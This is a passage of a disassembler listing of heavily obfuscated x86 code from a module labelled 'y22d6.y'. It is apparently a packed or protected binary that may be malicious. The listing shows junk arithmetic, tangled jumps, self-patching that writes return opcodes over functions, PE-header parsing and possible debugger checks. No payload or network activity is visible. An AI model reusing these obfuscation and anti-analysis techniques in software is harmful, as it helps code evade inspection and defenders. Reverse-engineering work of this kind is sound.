U T I N E ======================================= sub_44D6B7 proc near ; DATA XREF: y22d6.y.:loc_442010o call sub_444581 mov ds:off_41E214, eax lea eax, sub_43F112 mov byte ptr [eax], 0C3h jmp loc_445761 sub_44D6B7 endp ; =============== S U B R O U T I N E ======================================= sub_44D6D0 proc near ; CODE XREF: sub_40300B+4Ap ; sub_449641-B88Cj ; DATA XREF: ... ; FUNCTION CHUNK AT 00438C10 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043AE6E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D0BB SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043D617 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043DD14 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004414F7 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441DBC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449CB4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044BB92 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044D3F4 SIZE 00000013 BYTES push ebp mov ebp, edx jmp loc_43DD14 sub_44D6D0 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44D6D9: ; CODE XREF: y22d6.y.:0044DACCj rol ebp, 19h jmp loc_44E19E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D246 loc_44D6E1: ; CODE XREF: sub_43D246+1Cj sub edx, 0FD063DA0h add edx, 89C10AC9h mov [edx], eax pop edx jmp loc_4400CB ; END OF FUNCTION CHUNK FOR sub_43D246 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CEE2 loc_44D6F5: ; CODE XREF: sub_43CEE2+Cj mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_44B404 mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h jmp loc_4487DF ; END OF FUNCTION CHUNK FOR sub_43CEE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447C6F loc_44D715: ; CODE XREF: sub_447C6F-B15Dj jge loc_437663 loc_44D71B: ; CODE XREF: y22d6.y.:0043B533j jmp loc_441FE3 ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- loc_44D720: ; CODE XREF: y22d6.y.:0043812Bj jmp loc_43753E ; --------------------------------------------------------------------------- cmp ebx, 0B790BCB5h jmp loc_44BDC4 ; =============== S U B R O U T I N E ======================================= sub_44D730 proc near ; CODE XREF: sub_40186E+4Bp ; sub_44D730+5j ; DATA XREF: ... call sub_44D73B jmp ds:off_41E0BC sub_44D730 endp ; =============== S U B R O U T I N E ======================================= sub_44D73B proc near ; CODE XREF: sub_448EB6:loc_43DAD3j ; y22d6.y.:0044AE05j ... xchg ecx, [esp+0] mov edx, ecx jmp loc_448FEF sub_44D73B endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_257. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44D746: ; CODE XREF: sub_448EB6:loc_43E399j jz loc_43BE59 jmp loc_438664 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441A2B loc_44D751: ; CODE XREF: sub_441A2B:loc_44B57Fj mov edi, ecx xchg edi, [esp+0] mov ecx, edx call sub_448BA0 loc_44D75D: ; CODE XREF: y22d6.y.:0043E55Bj jmp loc_437E31 ; END OF FUNCTION CHUNK FOR sub_441A2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44BCC2 loc_44D762: ; CODE XREF: sub_44BCC2:loc_44B4C6j sub eax, 1C812A10h cmp eax, 2166089Eh jmp loc_437D08 ; END OF FUNCTION CHUNK FOR sub_44BCC2 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] push eax call sub_44A9DF mov ds:dword_4413B0, eax cmp ds:dword_4413B0, 0 jnz loc_44560E jmp loc_43A12A ; =============== S U B R O U T I N E ======================================= sub_44D793 proc near ; CODE XREF: sub_4432B8:loc_440168p ; y22d6.y.:0044261Fj xchg eax, [esp+0] pop eax sub_44D793 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_44B17B loc_44D797: ; CODE XREF: sub_44B17B:loc_444318j mov eax, [ebp+var_4] cmp byte ptr [eax], 0F1h jnz loc_4488C3 jmp loc_442702 ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- loc_44D7A8: ; CODE XREF: y22d6.y.:0043DA36j jno loc_44A5AB mov edi, [ebp+0] jmp loc_43FE1D ; --------------------------------------------------------------------------- mov [edx], ecx jmp sub_43CB3F ; --------------------------------------------------------------------------- loc_44D7BD: ; DATA XREF: sub_43B58Fo jo loc_4480CA pop edx call sub_449AA9 ; START OF FUNCTION CHUNK FOR sub_444D95 loc_44D7C9: ; CODE XREF: sub_444D95+22CDj jmp nullsub_258 ; END OF FUNCTION CHUNK FOR sub_444D95 ; --------------------------------------------------------------------------- loc_44D7CE: ; CODE XREF: y22d6.y.:00437E2Cj jmp loc_44E377 ; --------------------------------------------------------------------------- xchg edx, [ecx] jmp sub_44137A ; --------------------------------------------------------------------------- loc_44D7DA: ; CODE XREF: y22d6.y.:0044B176j and edi, 1C5E5D89h ; =============== S U B R O U T I N E ======================================= sub_44D7E0 proc near ; CODE XREF: sub_43F9E0:loc_442085p var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437853 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004395DC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043AC18 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C0EB SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0043D657 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440A66 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00442A7C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442B50 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004443C1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00444994 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00447A8F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00447C2C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0044B5AA SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044B67C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0044BFB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D1DC SIZE 0000001E BYTES xchg edi, [esp+4+var_4] pop edi xchg edi, [esp+0] jmp loc_442A7C sub_44D7E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449296 loc_44D7EC: ; CODE XREF: sub_449296+14j pop ecx pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_449296 ; --------------------------------------------------------------------------- loc_44D7F0: ; CODE XREF: y22d6.y.:004410B2j jmp loc_43EC76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448B71 loc_44D7F5: ; CODE XREF: sub_448B71+Dj ; sub_449296+4j call sub_4498DE loc_44D7FA: ; CODE XREF: sub_44CFDF+1Bj jmp loc_439893 ; END OF FUNCTION CHUNK FOR sub_448B71 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C980 loc_44D7FF: ; CODE XREF: sub_44C980:loc_442FE8j mov edx, edi pop edi jns loc_438B4D mov eax, [esp+4+var_4] jmp loc_44AC51 ; END OF FUNCTION CHUNK FOR sub_44C980 ; --------------------------------------------------------------------------- loc_44D810: ; CODE XREF: y22d6.y.:loc_43CAB9j mov byte ptr [eax], 0C3h jmp loc_44E276 ; --------------------------------------------------------------------------- call nullsub_18 jmp ds:dword_41E180 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- mov [ebx+5AFFFF21h], eax mov eax, [esp] push edx jmp loc_437BCF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_79. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44D834: ; CODE XREF: sub_4475B3-5B74j jmp loc_440473 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440B68 loc_44D839: ; CODE XREF: sub_440B68:loc_449C92j jmp ds:off_41E018 ; END OF FUNCTION CHUNK FOR sub_440B68 ; =============== S U B R O U T I N E ======================================= sub_44D83F proc near ; CODE XREF: y22d6.y.:loc_43BE71j ; sub_440B68p ... ; FUNCTION CHUNK AT 00445D35 SIZE 00000005 BYTES jb loc_443364 push offset loc_438594 jmp loc_445D35 sub_44D83F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E037 loc_44D84F: ; CODE XREF: sub_43E037+4392j add ecx, 624F4B54h xor ecx, 0FDCF5338h add eax, ecx pop ecx mov eax, [eax] mov al, [eax] jmp loc_44D25D ; END OF FUNCTION CHUNK FOR sub_43E037 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44D867: ; CODE XREF: sub_4432B8-1AC1j xchg ebp, [edi] js loc_43BE0E jmp loc_437EA1 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- loc_44D874: ; CODE XREF: y22d6.y.:004449ABj jb loc_442CA1 xchg edx, [eax] jmp loc_43C0EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44D881: ; CODE XREF: sub_448EB6:loc_43F005j mov eax, offset dword_43C800 mov [ebp-4], eax mov eax, offset dword_43C860 mov [ebp-8], eax sub eax, ebp jmp loc_4398F5 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D5BB loc_44D898: ; CODE XREF: sub_43D5BB-2C19j jl loc_44AB40 ; END OF FUNCTION CHUNK FOR sub_43D5BB ; START OF FUNCTION CHUNK FOR sub_4431CD loc_44D89E: ; CODE XREF: sub_4431CD+17E8j mov eax, edx cmp edi, 5B8B6977h jmp loc_43DC2F ; END OF FUNCTION CHUNK FOR sub_4431CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441AE7 loc_44D8AB: ; CODE XREF: sub_441AE7:loc_4480D9j and ecx, 0B454F910h sub ecx, 3E3C382Ah or ecx, 782CC1DBh sub ecx, 952AB64Eh add ecx, 36A3137Ah add eax, ecx jmp loc_44DE99 ; END OF FUNCTION CHUNK FOR sub_441AE7 ; --------------------------------------------------------------------------- loc_44D8D0: ; DATA XREF: sub_44057E-1734o add eax, ebp add eax, 39B687ADh mov eax, [eax] mov eax, [eax] jmp loc_43D1CF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E14E loc_44D8E1: ; CODE XREF: sub_44E14E:loc_43A721j add ebx, 0DDF1F2E9h popf pop edx jmp loc_43D7FB ; END OF FUNCTION CHUNK FOR sub_44E14E ; --------------------------------------------------------------------------- loc_44D8EE: ; CODE XREF: y22d6.y.:0043C165j and ebx, 0C17C322Eh ; =============== S U B R O U T I N E ======================================= sub_44D8F4 proc near ; CODE XREF: sub_43EFB1+12p xchg esi, [esp+0] pop esi mov eax, [ebp-14h] jmp loc_44E40D sub_44D8F4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44D900: ; CODE XREF: y22d6.y.:loc_43A863j jnb loc_439519 add esp, 0FFFFFFCCh lea eax, nullsub_59 mov byte ptr [eax], 0C3h push ebp mov ebp, esi jmp loc_44DBA7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4496E3 loc_44D91A: ; CODE XREF: sub_4496E3+Fj pop eax xor eax, 6B05FF2Ch and eax, 73DEBCC6h rol eax, 0Ah jmp loc_440E94 ; END OF FUNCTION CHUNK FOR sub_4496E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BA9E loc_44D92F: ; CODE XREF: sub_43BA9E+7098j push eax call sub_43AD2F test eax, eax jz loc_4422D0 jmp loc_438161 ; END OF FUNCTION CHUNK FOR sub_43BA9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B98D loc_44D942: ; CODE XREF: sub_44CDB7-10063j ; sub_43B98D:loc_445B37j sbb edi, 257DF143h ja loc_44B212 loc_44D94E: ; CODE XREF: sub_44CDB7:loc_43CD4Dj rol edx, 9 xor edx, 413BF111h add edx, ebp push eax push 2382EF8Eh jmp loc_4490E4 ; END OF FUNCTION CHUNK FOR sub_43B98D ; --------------------------------------------------------------------------- loc_44D964: ; CODE XREF: y22d6.y.:loc_43CDD7j ; y22d6.y.:00441466j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_438D05 jmp loc_4384FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B656 loc_44D975: ; CODE XREF: sub_43B656:loc_445B90j ; sub_448EB6:loc_4470ACj rol eax, 0Eh sub eax, 0DC537DD1h rol eax, 1 push edx push 5F440A46h pop edx jmp loc_44E225 ; END OF FUNCTION CHUNK FOR sub_43B656 ; --------------------------------------------------------------------------- loc_44D98C: ; CODE XREF: y22d6.y.:0043B556j adc ebp, 0DC74C013h loc_44D992: ; CODE XREF: y22d6.y.:004402DAj xor eax, 3378A4B3h call sub_43CA1A push offset aQhU?nybLAbTU ; "Qh=u?YÁL$}Ét]Ò¹#\rã" jmp locret_444477 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448C77 loc_44D9A7: ; CODE XREF: sub_448C77:loc_43D782j jge loc_444494 loc_44D9AD: ; CODE XREF: sub_44D02E+Ej jmp loc_4475CC ; END OF FUNCTION CHUNK FOR sub_448C77 ; --------------------------------------------------------------------------- xchg edx, esi jmp loc_444488 ; --------------------------------------------------------------------------- push ecx push 18B10FCBh pop ecx and ecx, 46284154h xor ecx, 0B2B50A4Ah add ecx, 22E78A64h jmp loc_442AF5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439595 loc_44D9D7: ; CODE XREF: sub_439595:loc_44A9ADj xchg ebx, [esp+0] call sub_4388E5 jmp loc_437353 ; END OF FUNCTION CHUNK FOR sub_439595 ; --------------------------------------------------------------------------- jmp loc_4433BB ; --------------------------------------------------------------------------- loc_44D9E9: ; CODE XREF: y22d6.y.:0043E58Dj pop ecx shl eax, 3 mov edx, [ebp+8] ; START OF FUNCTION CHUNK FOR sub_447C6F loc_44D9F0: ; CODE XREF: sub_447C6F-9701j or [edx-8], eax jmp loc_44DBFD ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- loc_44D9F8: ; CODE XREF: y22d6.y.:0043B529j ; y22d6.y.:0043E577j cmp dword ptr [ebp-10h], 1 jnz loc_442EC5 jmp loc_443404 ; --------------------------------------------------------------------------- loc_44DA07: ; CODE XREF: y22d6.y.:loc_444659j jl loc_444335 cmp ebx, 18CD3754h jmp loc_444329 ; --------------------------------------------------------------------------- loc_44DA18: ; CODE XREF: y22d6.y.:004486F5j jns loc_43C27A ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_44DA1E: ; CODE XREF: sub_437FD8:loc_43AB65j sub edx, 0C36F0458h or edx, 6387FB00h xor edx, 4DE9C59h jmp loc_43FEFE ; END OF FUNCTION CHUNK FOR sub_437FD8 ; --------------------------------------------------------------------------- loc_44DA35: ; DATA XREF: sub_441C04:loc_4386DDo jz loc_44DA43 mov eax, [ebp-0Ch] call sub_4480DE ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44DA43: ; CODE XREF: sub_43EC51+15j ; sub_43D20E+2603j ... mov eax, [ebp-0Ch] jmp loc_4484A8 ; END OF FUNCTION CHUNK FOR sub_4385ED ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44DA4B proc near ; DATA XREF: y22d6.y.:00439CDBo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043C726 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443BEF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00449C97 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044BC22 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0044D35B SIZE 00000011 BYTES xchg edi, [esp+4+var_4] mov ebp, esp push eax mov eax, ecx xchg eax, [esp+0] mov esp, ebp pop ebp push 0F8DD1E15h jmp loc_44BC22 sub_44DA4B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_44DA63: ; CODE XREF: sub_43E185-6FF2j pop ebx and ebx, 7A9C97D1h rol ebx, 6 xor ebx, 10737A7h add ebx, ebp jmp loc_43858A ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44DA7A: ; CODE XREF: sub_4432B8:loc_437E96j mov eax, ecx jnp loc_43E9D9 jmp loc_43CD35 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_44DA87 proc near ; CODE XREF: sub_43F8FE-8369p ; sub_44AA69-12096j arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 004477C5 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx popf add eax, ebx xchg eax, [esp-8+arg_4] mov ebx, eax jmp loc_4477C5 sub_44DA87 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44DA98 proc near ; CODE XREF: y22d6.y.:0043BD5Dj ; y22d6.y.:00442D40p var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004487A6 SIZE 0000001A BYTES xchg eax, [esp+8+var_8] pop eax mov ebp, esp push ebx mov ebx, ecx jmp loc_4487A6 sub_44DA98 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44DAA6 proc near ; CODE XREF: y22d6.y.:00438DDCj ; sub_43A6E1+8902p ; FUNCTION CHUNK AT 00449344 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax lea eax, nullsub_6 mov byte ptr [eax], 0C3h jmp loc_449344 sub_44DAA6 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44DAB8: ; CODE XREF: y22d6.y.:00437813j mov eax, [esp] push eax jmp loc_44188C ; --------------------------------------------------------------------------- loc_44DAC1: ; DATA XREF: sub_448EB6:loc_449122o push eax push 0A4D8A8h xchg ebp, [esp] mov eax, ebp jmp loc_44D6D9 ; --------------------------------------------------------------------------- sbb edx, 10DEB17Eh jge sub_44BB81 jmp sub_444AD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44DAE2: ; CODE XREF: sub_44057E+3AD8j mov esi, ebp mov esi, [esi] add esi, eax mov [ebp+0], esi jmp loc_44DD22 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44DAF0: ; CODE XREF: sub_448EB6-E116j jnz loc_4483F7 and ebx, esi push ebp adc esi, 0B883F0E9h loc_44DAFF: ; CODE XREF: sub_448EB6:loc_448F38j push eax push offset sub_43FFC2 jmp nullsub_261 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- sbb edx, esi jmp loc_439A5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44DB11: ; CODE XREF: sub_4450FD:loc_445CFBj jnz loc_44DEEB jmp loc_44C679 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- push 966CA7AAh xchg edi, [esp] mov eax, edi pop edi or eax, 4DDBF6Bh sub eax, 78A4AC92h test eax, 80h jmp loc_43967E ; =============== S U B R O U T I N E ======================================= sub_44DB3E proc near ; CODE XREF: y22d6.y.:0043D5B3j ; sub_43C5EE+E9A9p ; FUNCTION CHUNK AT 00439159 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043E3E8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00444C8C SIZE 00000020 BYTES xchg edi, [esp+0] pop edi loc_44DB42: ; CODE XREF: y22d6.y.:loc_43D581j xor ecx, 5ED1DA41h sub eax, ecx jmp loc_43E3E8 sub_44DB3E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44DB4F proc near ; DATA XREF: sub_440AF5+6o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043A937 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00441C93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444B98 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449B17 SIZE 00000013 BYTES xchg edi, [esp+0] mov [ebp-4], eax push 6B09D887h xchg edx, [esp+4+var_4] mov eax, edx pop edx loc_44DB60: ; CODE XREF: sub_438B66:loc_442A31j xor eax, ds:4000E2h cmp eax, 0E176ABAEh jmp loc_441C93 sub_44DB4F endp ; =============== S U B R O U T I N E ======================================= sub_44DB71 proc near ; CODE XREF: sub_44C3E5j ; DATA XREF: sub_43DB23+E8B8o mov eax, [esp+0] push edx call sub_444541 loc_44DB7A: ; CODE XREF: sub_44C622+13j jmp nullsub_14 sub_44DB71 endp ; --------------------------------------------------------------------------- loc_44DB7F: ; CODE XREF: y22d6.y.:00440CCEj and ecx, ebp ; =============== S U B R O U T I N E ======================================= sub_44DB81 proc near ; CODE XREF: sub_43C55B:loc_4446AEp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437A1C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004380D3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00439B65 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043B10F SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044137E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044423D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004450D7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0044564C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004456D5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445F7D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447A69 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00449371 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A915 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044C616 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044DEDF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044E044 SIZE 00000017 BYTES xchg ebx, [esp+0] pop ebx push eax mov edx, eax call sub_44D088 call sub_44A9DF jmp loc_44A915 sub_44DB81 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44DB97: ; CODE XREF: y22d6.y.:0043DD23j push 833007F7h jmp loc_4417A9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_375. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44DBA2: ; CODE XREF: sub_4450FD-C66Ej jmp loc_43EF56 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- loc_44DBA7: ; CODE XREF: y22d6.y.:0044D915j xchg ebp, [esp] push 5C64650Bh pop esi add esi, 1F94D4E9h cmp esi, 6E0B040Ah jmp loc_43F3C5 ; --------------------------------------------------------------------------- test eax, 1A7EA1D0h loc_44DBC7: ; CODE XREF: y22d6.y.:loc_445110j jmp loc_4484D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_44DBCC: ; CODE XREF: sub_4481EF:loc_43BED8j push 0CC513467h sub ebx, edi jo loc_43F7C9 rol esi, 17h jmp loc_442BD2 ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43EC1C loc_44DBE1: ; CODE XREF: sub_43EC1C:loc_4384AAj jz loc_43EF03 jmp loc_449B96 ; END OF FUNCTION CHUNK FOR sub_43EC1C ; --------------------------------------------------------------------------- sub ebp, 3A848893h jmp sub_440A88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438077 loc_44DBF7: ; CODE XREF: sub_438077:loc_43EAAFj jl loc_43CA6D ; END OF FUNCTION CHUNK FOR sub_438077 ; START OF FUNCTION CHUNK FOR sub_447C6F loc_44DBFD: ; CODE XREF: sub_447C6F+5D84j jmp loc_444D67 ; END OF FUNCTION CHUNK FOR sub_447C6F ; --------------------------------------------------------------------------- loc_44DC02: ; CODE XREF: y22d6.y.:0044AD75j jmp sub_44D3B1 ; --------------------------------------------------------------------------- loc_44DC07: ; CODE XREF: y22d6.y.:0044141Aj jmp sub_43CA62 ; --------------------------------------------------------------------------- xchg edx, [ebx] not ebp jmp loc_43CA6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D20E loc_44DC15: ; CODE XREF: sub_43D20E:loc_443009j lea eax, [ebp-125h] push eax call sub_44A9DF mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz loc_44C161 jmp loc_440FD6 ; END OF FUNCTION CHUNK FOR sub_43D20E ; --------------------------------------------------------------------------- loc_44DC33: ; CODE XREF: y22d6.y.:loc_44E11Fj ror ebp, 10h jmp loc_43E1C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E5C2 loc_44DC3B: ; CODE XREF: sub_43E5C2-1A5Dj jl loc_44549C popf jmp loc_443A7C ; END OF FUNCTION CHUNK FOR sub_43E5C2 ; --------------------------------------------------------------------------- rol ebx, 8 loc_44DC4A: ; CODE XREF: y22d6.y.:loc_43D167j jg loc_44DEC0 jmp loc_4429A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_44DC55: ; CODE XREF: sub_44057E:loc_43D68Cj xor esi, 61C5E7A9h and esi, 8BBE74DFh xor esi, 0E89357D3h jnz loc_4415A5 or eax, 73DC89D9h jmp loc_441599 ; END OF FUNCTION CHUNK FOR sub_44057E ; --------------------------------------------------------------------------- loc_44DC78: ; CODE XREF: y22d6.y.:00442EE9j and eax, ebp ror eax, 6 ; START OF FUNCTION CHUNK FOR sub_440494 loc_44DC7D: ; CODE XREF: sub_440494:loc_442ED3j add edi, 0DF181060h mov [edi], eax jmp loc_44C69F ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_44DC8A: ; CODE XREF: sub_43A148:loc_43C1C7j pop ecx xor ecx, 0B8F3CD68h js loc_43B041 and edx, esi add ebp, 0BE3C7522h loc_44DC9F: ; CODE XREF: y22d6.y.:loc_444D8Fj jmp loc_43B041 ; END OF FUNCTION CHUNK FOR sub_43A148 ; =============== S U B R O U T I N E ======================================= sub_44DCA4 proc near ; DATA XREF: y22d6.y.:loc_44C695o arg_0 = dword ptr 4 pop edx mov eax, [esp-4+arg_0] call sub_449E26 sub_44DCA4 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_444DB4 loc_44DCAD: ; CODE XREF: sub_444DB4+1313j jmp loc_44BA37 ; END OF FUNCTION CHUNK FOR sub_444DB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44DCB2: ; CODE XREF: sub_43FAC6+34A8j jmp loc_43B5C9 ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; --------------------------------------------------------------------------- loc_44DCB7: ; CODE XREF: y22d6.y.:0044BBF8j and ebx, edx ; =============== S U B R O U T I N E ======================================= sub_44DCB9 proc near ; CODE XREF: sub_43C712-1AAEp xchg ecx, [esp+0] pop ecx push ebx push 4C6515D8h pop ebx xor ebx, 735A84FCh or ebx, 96FBBC43h jmp loc_449012 sub_44DCB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442770 loc_44DCD5: ; CODE XREF: sub_442770:loc_438724j add eax, ebp add eax, 894ECB6Eh mov eax, [eax] mov byte ptr [eax], 6Ch inc dword ptr [ebp-28h] jmp loc_44B8F7 ; END OF FUNCTION CHUNK FOR sub_442770 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44DCEA: ; CODE XREF: sub_4432B8-B408j jns loc_44117A ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_44DCF0 proc near ; CODE XREF: y22d6.y.:0043EC10p xchg ecx, [esp+0] pop ecx push 506E484Eh pop ebx jmp loc_44B2FC sub_44DCF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44DCFF: ; CODE XREF: sub_4450FD-BDEDj sbb edx, ebx and esi, 82A45C5Dh jmp loc_4474C5 ; END OF FUNCTION CHUNK FOR sub_4450FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4452EE loc_44DD0C: ; CODE XREF: sub_4452EE-B8E2j popf mov ecx, edx jmp loc_443C2F ; END OF FUNCTION CHUNK FOR sub_4452EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FAC6 loc_44DD14: ; CODE XREF: sub_43FAC6:loc_443B73j rol eax, 6 cmp eax, 83F5DE76h jmp loc_44445B ; END OF FUNCTION CHUNK FOR sub_43FAC6 ; 